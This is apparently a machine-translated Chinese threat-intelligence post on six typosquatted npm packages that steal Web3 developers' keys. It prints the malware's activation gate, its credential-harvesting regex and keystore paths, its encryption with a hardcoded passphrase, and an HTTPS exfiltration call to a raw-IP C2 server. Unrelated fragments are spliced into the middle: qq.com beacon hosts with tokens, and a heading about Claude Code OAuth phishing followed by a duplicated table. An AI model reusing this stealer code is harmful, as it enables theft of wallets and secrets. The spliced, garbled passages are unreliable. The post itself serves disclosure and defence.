TL博士
2026年5月6日，一位npm发布者， namikazesarada010206推送了六个恶意软件包，目标是以太坊、Solidity 和 DeFi 开发者生态系统。
包裹， viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils和 web3-utils-core使用看似合理的名称，使其看起来像是流行的 Web3 工具的辅助库。
六个包裹里装的都是相同的东西。 telemetry.js 文件。该文件在整个集群中字节完全相同，SHA-256 值为：
该恶意软件不会在安装时执行。 preinstall or postinstall 钩子。相反，它会在通过以下方式导入包时激活： require().
这个细节很重要。
该植入程序会等待开发者实际使用该软件包。然后，它会检查工作站是否符合以太坊/Solidity的真实开发环境。它会查找Alchemy或Infura密钥、私钥、助记符、部署器密钥或本地Foundry目录。
如果主机匹配，窃取者会收集 SSH 私钥、Foundry / Geth / Brownie 钱包密钥库。 .env* 文件和敏感环境变量。它使用硬编码的密码短语，通过 AES-256-GCM 加密捆绑包，并将其泄露到禁用 TLS 验证的原始 IPv4 C2 端点。
Xygeni 的恶意软件预警系统 (MEW) 已确认所有六个软件包均为恶意软件。npm 注册表下架报告包正在等待处理。
集群：六个软件包，一个出版商
出版商账户 namikazesarada010206 与未经验证的 Gmail 地址关联 namikazesarada010206@gmail.com.
该宣传活动于2026年5月6日以单日集中发布的形式推出。所有六个版本均以如下形式呈现： 1.0.0它没有任何运行时依赖项，并且只发布了三个文件：
package.json
index.js
telemetry.js他们还声明了相同的源代码库：
https://github.com/harunosakura030303-maker/evmchain-config前三个软件包在首次发布时就被 MEW 扫描器检测到。其余三个软件包在分析师审查发布者的 npm 配置文件后被强制标记。一旦相同的字节完全相同 telemetry.js 经集群内确认，这些恶意程序因一致性而被关闭。
| 小包装 | 版本 | npm 已发布 | MEW门票 | 总结 |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 展位 | 恶毒 |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 展位 | 恶毒 |
| 硬帽核心工具 | 1.0.0 | 2026-05-06 | #51051 展位 | 恶毒 |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 展位 | 恶意，一贯如此 |
| 铸造工具 | 1.0.0 | 2026-05-06 | #51071 展位 | 恶意，一贯如此 |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 展位 | 恶意，一贯如此 |
命名策略简单直接，但效果显著。
这些软件包并不模仿上游软件包的确切名称。相反，它们使用看似合理的“实用程序”后缀，例如： -core, -utils和 -utils-core这使得它们看起来像是开发人员可能会在 Web3 工具附近看到的配套库。
| 恶意包裹 | 合法目标 |
|---|---|
| viem-core | viem，一个流行的以太坊 TypeScript 客户端 |
| viem-utils-core | 维姆 |
| 硬帽核心工具 | Hardhat，一个主流的 Solidity 开发环境 |
| evm-utils | 通用 EVM 工具命名空间 |
| 铸造工具 | Foundry，一个 Solidity 工具链 |
| web3-utils-core | web3-utils，Web3.js 辅助函数 |
这就是“补充包装”模式：不是“我才是真正的包装”，而是“我看起来像是真正的包装的合理助手”。
对于快速发展的 DeFi 开发者而言，这足以造成风险。
包裹进口后会发生什么？
攻击链规模小、经过精心策划，并且专门针对加密开发环境。
没有安装挂钩。每个包装内都包含一个 index.js 它会导出存根功能，然后加载恶意遥测模块。
require('./telemetry').init();这意味着恶意软件会在首次导入时激活。
这对攻击者来说在操作上很有用。许多扫描器和沙箱都侧重于安装时的行为。而这个软件包会等到被开发者、构建脚本、测试套件或运行时路径实际使用时才会生效。
激活门：仅在真正的 Web3 开发工作站上启用
植入体最重要的部分是激活门。
该恶意软件会检查以太坊/Solidity开发者机器上常见的环境变量：
const indicators = [
process.env.ALCHEMY_API_KEY,
process.env.INFURA_KEY,
process.env.PRIVATE_KEY,
process.env.MNEMONIC,
process.env.DEPLOYER_KEY,
].filter(Boolean);它还会检查 Foundry 是否已安装：
fs.existsSync(path.join(os.homedir(), '.foundry'))如果两个条件都不成立，则函数返回，不执行任何操作。
这使得该软件包在通用分析环境中更加安静。在没有 Foundry、Alchemy 密钥、Infura 密钥、私钥或助记符的沙箱环境中，导入过程可能看起来无害。
在匹配的主机上，恶意软件会在收集数据前等待 60 到 90 秒：
setTimeout(() => { try { _collect(); } catch {} },
60000 + Math.random() * 30000).unref();这种延迟降低了进口和出口之间明显的关联性。 .unref() 如果软件包是在生命周期很短的脚本中导入的，则此调用还可以让主机进程正常退出。
这并非那种喧闹的突袭行为。它是一种有针对性的窃取程序，只有在开发者环境值得窃取数据时才会运行。
窃贼收集了什么
一旦激活门通过，恶意软件就会从 Web3 开发中最重要的来源收集信息：私钥、钱包密钥库、部署凭证、云密钥、npm 令牌和本地项目配置。
| 来源 | 收集哪些信息 |
|---|---|
| 进程.env | 任何匹配 /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i 的变量 |
| ~/.ssh/* | 包含 PRIVATE KEY 或 BEGIN OPENSSH 的文件，包括完整的文件内容 |
| ~/.foundry/keystores/* | Foundry钱包密钥库文件 |
| ~/.ethereum/keystore/* | Geth钱包密钥库文件 |
| ~/.brownie/accounts/* | Brownie钱包密钥库文件 |
| ${cwd}/.env | 完整文件内容 |
| ${cwd}/.env.local | 完整文件内容 |
| ${cwd}/.env.production | 完整文件内容 |
| ${cwd}/.env.development | 完整文件内容 |
| os.hostname() | 主机元数据 |
| crypto.randomUUID() | 受害者/会话标识符 |
| Date.now() | 采集时间戳 |
otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.comATTA代币包括：
ATTA_ID 00400014144
ATTA_TOKEN 6478159937我们尚未能确认遥测数据是运营商自身的分析数据，还是来自其他独立盈利渠道的数据。在我们检查的两个样本中，ATTA 代币是相同的。
B组：黑白
claude.hk OAuth 网络钓鱼 + ANTHROPIC_BASE_URL 劫持
4 月 1 日的样本是该活动早期阶段的较粗糙样本。
heibai:2.1.88-claude.hk-4 由出版 wuguoqiangvip28该账户创建于2025年6月7日。该软件包明确地将自身版本与合法版本进行了对比。 2.1.88 人类释放。
它不会使用 CA 证书进行中间人攻击，而是会向用户谎报 OAuth 端点信息。
在泄露的 Claude Code 源代码基础上添加的恶意代码包括：
| 来源 | 收集哪些信息 |
|---|---|
| 进程.env | 任何匹配 /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i 的变量 |
| ~/.ssh/* | 包含 PRIVATE KEY 或 BEGIN OPENSSH 的文件，包括完整的文件内容 |
| ~/.foundry/keystores/* | Foundry钱包密钥库文件 |
| ~/.ethereum/keystore/* | Geth钱包密钥库文件 |
| ~/.brownie/accounts/* | Brownie钱包密钥库文件 |
| ${cwd}/.env | 完整文件内容 |
| ${cwd}/.env.local | 完整文件内容 |
| ${cwd}/.env.production | 完整文件内容 |
| ${cwd}/.env.development | 完整文件内容 |
| os.hostname() | 主机元数据 |
| crypto.randomUUID() | 受害者/会话标识符 |
| Date.now() | 采集时间戳 |
目标列表非常具体。这不是一般的浏览器窃取或广泛的凭证抓取，而是专门针对构建、测试、部署或运维以太坊应用程序的开发者。
Foundry、Geth 和 Brownie 密钥库的纳入尤为重要。这些文件可能代表着对钱包或部署身份的直接访问权限。如果攻击者能够将这些文件与密码、助记词或环境密钥配对，他们就可能转移资金、冒充部署者或破坏智能合约的运行。
数据泄露前加密
该恶意软件会在发送数据之前对收集到的数据进行加密。
const key = crypto.createHash('sha256').update(K).digest();
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);硬编码的密码短语是：
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d最终有效载荷以 JSON 格式封装：
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}加密本身并不会使恶意软件更高级，但它会增加网络检查的难度。防御者监控出口流量时会看到 JSON 有效载荷，但看不到被盗的密钥、钱包文件或其他内容。 .env 不包含硬编码密码和解密逻辑的内容。
向原始 IPv4 C2 泄露数据
数据泄露路径是硬编码的：
const req = https.request({
hostname: '76.13.37.80', port: 8443,
path: '/api/v1/telemetry', method: 'POST',
headers: { 'Content-Type': 'application/json', ... },
rejectUnauthorized: false, timeout: 8000,
}, () => {});该恶意软件会将数据发送到：
https://76.13.37.80:8443/api/v1/telemetry有两个细节尤为突出。
首先，C2 服务器使用的是原始 IPv4 地址，而不是域名。这省去了域名注册的麻烦，并避免了一些基于域名的检测。
其次，可以使用以下命令禁用 TLS 验证：
rejectUnauthorized: false这使得恶意软件能够接受任何证书，包括自签名证书。换句话说，攻击者无需有效的公钥证书即可获得加密传输。
没有重试逻辑，也没有备用主机。错误会被静默吞掉。这样，即使 C2 服务器离线或无法访问，也能保证数据包不会受到影响。
这场运动为何重要
大多数针对开发者的恶意 npm 包都试图窃取广泛的凭证：npm 令牌、AWS 密钥、GitHub 令牌等等。 .npmrc 文件。
这项活动缩小了目标范围。
它会寻找机器属于以太坊或Solidity开发者的迹象。然后，它会提取该环境中重要的资产：钱包密钥库、私钥、助记词、部署器密钥。 .env 文件和 SSH 密钥。
这使得该活动对 Web3 团队的危害比普通的 npm 窃取器更大。
感染成功后可能暴露：
- 部署钱包
- 智能合约管理员密钥
- RPC 提供程序密钥
- 云部署凭证
- npm 发布令牌
- SSH 访问权限，用于开发人员或构建基础设施
- 项目机密存储在
.env档 - 适用于 Foundry、Geth 或 Brownie 的钱包密钥库
这些软件包名称也明显带有社会工程学的痕迹。它们通过熟悉的工具名称来攻击 Web3 开发者生态系统： viem, hardhat, foundry, evm和 web3.
演员无需对真正的项目做出妥协。他们只需要一位开发者安装一个看起来合理的配套软件包即可。
入侵和检测指标
| 软件包和发布者 | |
|---|---|
| 领域 | 价值 |
| npm 发布者 | namikazesarada010206 |
| 出版商电子邮件 | namikazesarada010206@gmail.com |
| 电子邮件已验证 | 没有 |
| SCM 专利 | 没有 |
| 声誉评分 | 1.0 |
| viem-core、viem-utils-core、hardhat-core-utils、evm-utils、foundry-utils、web3-utils-core | |
| 选项 | 所有1.0.0 |
| 源代码库 | https://github.com/harunosakura030303-maker/evmchain-config |
| 已确认恶意行为 | 所有六个套餐 |
| 网络 | |
|---|---|
| 类型 | 价值 |
| C2 终点 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2端口 | 8443 / tcp |
| TLS行为 | 拒绝未授权：false |
| 有效载荷方案 | {"v":2,"iv": “d”： “t”： } |
| 文件和灰烬 | |
|---|---|
| 类型 | 价值 |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| 包装布局 | package.json、index.js、telemetry.js |
| 文件计数 | 3 |
| 大约总尺寸 | 3.4 KB |
激活信号
该恶意软件会检查以下环境变量：
ALCHEMY_API_KEY
INFURA_KEY
PRIVATE_KEY
MNEMONIC
DEPLOYER_KEY它还会检查：
~/.foundry/目标主机路径
~/.ssh/*
~/.foundry/keystores/*
~/.ethereum/keystore/*
~/.brownie/accounts/*
${cwd}/.env
${cwd}/.env.local
${cwd}/.env.production
${cwd}/.env.development集合正则表达式
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i检测记录
无需进行全面的行为分析，几条规则就能识别出这种营销活动。
首先，扫描锁定文件，查找六个恶意软件包名称：
viem-core
viem-utils-core
hardhat-core-utils
evm-utils
foundry-utils
web3-utils-core任何比赛 package-lock.json, yarn.lock, pnpm-lock.yaml 或 node_modules 历史事件应该被视为严肃的事件。
其次，监控 Node.js 进程是否正在读取钱包密钥库路径：
~/.foundry/keystores/
~/.ethereum/keystore/
~/.brownie/accounts/对于作为辅助依赖项导入的软件包而言，这种行为极少是合法的。尤其当它伴有出站网络活动时，就更加可疑了。
第三，阻止或警告以下HTTPS连接：
76.13.37.80:8443尤其当请求路径为：
/api/v1/telemetry第四，寻找兼具这些特性的 npm 包：
- 新晋或低声誉出版商
- 未经验证的 Gmail 帐户
- Web3 邻近软件包名称
- 没有有意义的存储库历史记录
- 微型包装布局
index.js加载遥测文件或辅助文件- 无运行时依赖项
- 敏感环境变量收集
- 钱包密钥库访问
这种模式比单个 IOC 更有用，因为下一个数据包可能会更改 IP 地址，但保持相同的目标逻辑。
妥协应对清单
如果开发人员使用了六个软件包中的一个，并且他们的环境与激活门匹配，则将该工作站视为已被入侵。
这包括安装了 Foundry 的机器、环境中的 Alchemy 或 Infura 密钥、私钥、助记词或部署密钥。
建议回复：
- 断开主机与网络的连接。
- 保存
node_modules锁文件、shell 历史记录和相关日志，用于取证。 - 轮换所有 SSH 密钥对
~/.ssh/. - 轮换每个密钥库下的钱包密钥
~/.foundry,~/.ethereum和~/.brownie. - 将资金转移到新的钱包。
- 轮换存储的所有秘密
.env*开发者工作过的代码库中的文件。 - 轮换与集合正则表达式匹配的环境密钥，包括 AWS 密钥、npm 令牌、部署令牌、API 密钥、私钥、种子和助记词。
- 自该软件包首次安装以来，审计云、npm、GitHub、RPC 提供程序和区块链活动。
- 重新安装工作站系统后再使用。
防守者应该吸取什么教训
这场活动表明，npm 域名抢注正在围绕高价值的开发者生态系统演变。
该行为者不需要持久化，不需要混淆，甚至不需要安装时执行。
相反，他们依靠三件事：
- 可能的 Web3 包名称
- 仅在真正的加密货币开发机器上激活
- 直接窃取对以太坊开发者至关重要的文件和机密信息
这使得该活动在广泛扫描中很容易被忽略，但一旦出现在合适的环境中，就会变得危险。
对于 Web3 团队来说，教训显而易见：务必将依赖项名称纳入威胁模型。一个看似无害的辅助包，仍然可能成为钱包被盗的最短路径。
已向 npm 注册表报告。我们将在移除发布者帐户和软件包后更新此帖。
